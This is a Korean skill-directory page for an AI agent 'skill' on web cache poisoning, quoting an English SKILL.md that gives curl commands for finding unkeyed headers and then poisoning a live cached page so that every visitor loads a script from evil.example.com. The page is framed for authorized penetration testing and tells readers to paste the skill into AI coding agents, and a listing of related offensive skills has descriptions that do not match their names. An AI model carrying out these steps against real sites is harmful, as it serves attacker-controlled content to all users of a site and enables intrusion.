performing-web-cache-poisoning-attack
하는 일
이 도구는 웹사이트의 ‘기억’(캐시)이 어떻게 작동하는지 테스트하도록 돕습니다. 허가된 보안 테스트 중에 이 기억을 조작해, 웹사이트가 일시적으로 다른 사용자에게 악성 콘텐츠를 보여 주도록 만들 수 있습니다.
사용하는 경우
- ✓Cloudflare나 Varnish 같은 캐싱 시스템을 사용하는 웹사이트에 대한 허가된 보안 테스트 중.
- ✓웹사이트가 모든 사람에게 잘못된 정보를 보여 주도록 속일 수 있는지 확인할 때.
- ✓웹사이트에 보낸 추가 정보가 웹사이트 ‘기억’에 저장되는 내용에 영향을 주는지 평가하는 경우.
스킬 링크
https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-web-cache-poisoning-attack/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“웹사이트가 정상 링크 대신 악성 링크를 보여 주도록 속일 수 있는지 테스트해 주세요.”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
도구는 웹사이트에 특별한 요청을 보냅니다. 웹사이트의 ‘기억’에 저장되지 않아야 할 추가 정보(헤더)가 포함되는지 확인합니다. 그렇다면 웹사이트가 악성 사이트 링크를 저장하게 만들 수 있습니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
Performing Web Cache Poisoning Attack
When to Use
- During authorized penetration tests when the application uses CDN or reverse proxy caching (Cloudflare, Akamai, Varnish, Nginx)
- When assessing web applications for cache-based vulnerabilities that could affect all users
- For testing whether unkeyed HTTP headers are reflected in cached responses
- When evaluating cache key behavior and cache deception vulnerabilities
- During security assessments of applications with aggressive caching policies
Prerequisites
- Authorization: Written penetration testing agreement explicitly covering cache poisoning testing
- Burp Suite Professional: With Param Miner extension for automated unkeyed header discovery
- curl: For manual cache testing with precise header control
- Target knowledge: Understanding of the caching layer (CDN provider, cache headers)
- Cache buster: Unique query parameter to isolate test requests from other users
- Caution: Cache poisoning affects all users; test with cache-busting parameters first
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1: Identify the Caching Layer and Behavior
Determine what caching infrastructure is in use and how the cache key is constructed.
# Check cache-related response headers
curl -s -I "https://target.example.com/" | grep -iE \
"(cache-control|x-cache|cf-cache|age|vary|x-varnish|x-served-by|cdn|via)"
# Common cache indicators:
# X-Cache: HIT / MISS
# CF-Cache-Status: HIT / MISS / DYNAMIC (Cloudflare)
# Age: 120 (seconds since cached)
# X-Varnish: 12345 67890 (Varnish)
# Via: 1.1 varnish (Varnish/CDN proxy)
# Determine cache key by testing variations
# Cache key typically includes: Host + Path + Query string
# Test 1: Same URL, two requests - check if second is cached
curl -s -I "https://target.example.com/page?cachebuster=test1" | grep -i "x-cache"
curl -s -I "https://target.example.com/page?cachebuster=test1" | grep -i "x-cache"
# First: MISS, Second: HIT = caching is active
# Test 2: Vary header behavior
curl -s -I "https://target.example.com/" | grep -i "vary"
# Vary: Accept-Encoding means Accept-Encoding is part of cache key
Step 2: Discover Unkeyed Inputs with Param Miner
Use Burp's Param Miner to find headers and parameters not included in the cache key but reflected in responses.
# In Burp Suite:
# 1. Install Param Miner from BApp Store
# 2. Right-click target request > Extensions > Param Miner > Guess headers
# 3. Param Miner will test hundreds of HTTP headers
# 4. Check results in Extender > Extensions > Param Miner > Output
# Common unkeyed headers to test manually:
# X-Forwarded-Host, X-Forwarded-Scheme, X-Forwarded-Proto
# X-Original-URL, X-Rewrite-URL
# X-Host, X-Forwarded-Server
# Origin, Referer
# X-Forwarded-For, True-Client-IP
# Manual testing for unkeyed header reflection
# Add cache buster to isolate testing
CB="cachebuster=$(date +%s)"
# Test X-Forwarded-Host reflection
curl -s -H "X-Forwarded-Host: evil.example.com" \
"https://target.example.com/?$CB" | grep "evil.example.com"
# Test X-Forwarded-Scheme
curl -s -H "X-Forwarded-Scheme: nothttps" \
"https://target.example.com/?$CB" | grep "nothttps"
# Test X-Original-URL (path override)
curl -s -H "X-Original-URL: /admin" \
"https://target.example.com/?$CB"
# Test X-Forwarded-Proto
curl -s -H "X-Forwarded-Proto: http" \
"https://target.example.com/?$CB" | grep "http://"
Step 3: Exploit Unkeyed Header for Cache Poisoning
Craft requests that poison cached responses with malicious content.
# Scenario: X-Forwarded-Host reflected in resource URLs
# Normal response includes: <script src="https://target.example.com/app.js">
# Poisoned: <script src="https://evil.example.com/app.js">
# Step 1: Confirm reflection with cache buster
curl -s -H "X-Forwarded-Host: evil.example.com" \
"https://target.example.com/?cb=unique123" | \
grep "evil.example.com"
# Step 2: Poison the actual cached page (WITHOUT cache buster)
# WARNING: This affects all users - only do with explicit authorization
curl -s -H "X-Forwarded-Host: evil.example.com" \
"https://target.example.com/"
# Step 3: Verify cache is poisoned
curl -s "https://target.example.com/" | grep "evil.example.com"
…
자주 묻는 질문
웹사이트 ‘캐시’란 무엇인가요?
웹사이트의 ‘빠른 기억’과 같습니다. 페이지의 사본을 저장해 다시 방문할 때 더 빨리 로딩되도록 합니다. 이 도구는 이 기억이 속을 수 있는지 테스트합니다.
‘키 없는 헤더(unkeyed headers)’란 무엇인가요?
요청과 함께 보내는 추가 정보입니다. 보통 캐시는 저장할 사본을 정할 때 주소만 고려합니다. 키 없는 헤더는 캐시가 고려하지 않는 추가 정보이지만, 웹사이트는 이를 사용해 응답을 바꿀 수 있습니다.
이것이 내 웹사이트를 해칠 수 있나요?
네, 허가 없이 또는 인지하지 않고 사용하면 그럴 수 있습니다. ‘캐시 오염’은 모든 방문자에게 악성 콘텐츠를 보이게 할 수 있습니다. 따라서 명시적인 허가를 받고, 테스트용 매개변수를 사용해 영향을 격리하는 것이 중요합니다.
상세 정보
작성자의 원본 설명
Exploiting web cache mechanisms to serve malicious content to other users by poisoning cached responses through unkeyed headers and parameters during authorized security tests.
인기도
- GitHub 스타
- 35k
- 순위
- #8335
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 8. 31.
댓글
- …
이 저장소의 다른 스킬
abusing-dpapi-for-credential-access
35kAI 에이전트에게 특정 작업을 위한 준비된 지침을 제공해, 더 잘하고 더 빠르게 처리하도록 합니다.
abusing-shadow-credentials-for-privesc
35kAI 에이전트가 명확하고 잘 구성된 텍스트를 쓰도록 가르칩니다.
achieving-cmmc-level-2-compliance
35kCMMC Level 2 규정 준수를 위한 환경을 준비하도록 돕습니다. 보안 요구 사항을 구현하고 필요한 문서를 관리합니다.
acquiring-disk-image-with-dd-and-dcfldd
35k에이전트가 하드 드라이브의 정확한 복사본을 만들도록 돕습니다. 조사 중 정보가 손실되거나 변경되지 않도록 하는 데 유용합니다.
비슷한 스킬
add-model-provider
394k에이전트가 안전한 설정 명령으로 새 AI 모델 제공자를 OpenClaw에 연결하고, API 키를 평문으로 두지 않으며, 실시간 테스트를 실행하도록 돕습니다.
acp-router
394k에이전트가 OpenClaw를 통해 Claude Code나 Cursor 같은 코딩 도우미에 작업을 전달해, 작업이 그 도구에서 실행되도록 돕습니다.
browser-automation
394k에이전트가 로그인, 탭, 페이지 응답이 멈췄을 때의 복구를 포함해 웹 페이지를 단계별로 조작하도록 가르칩니다.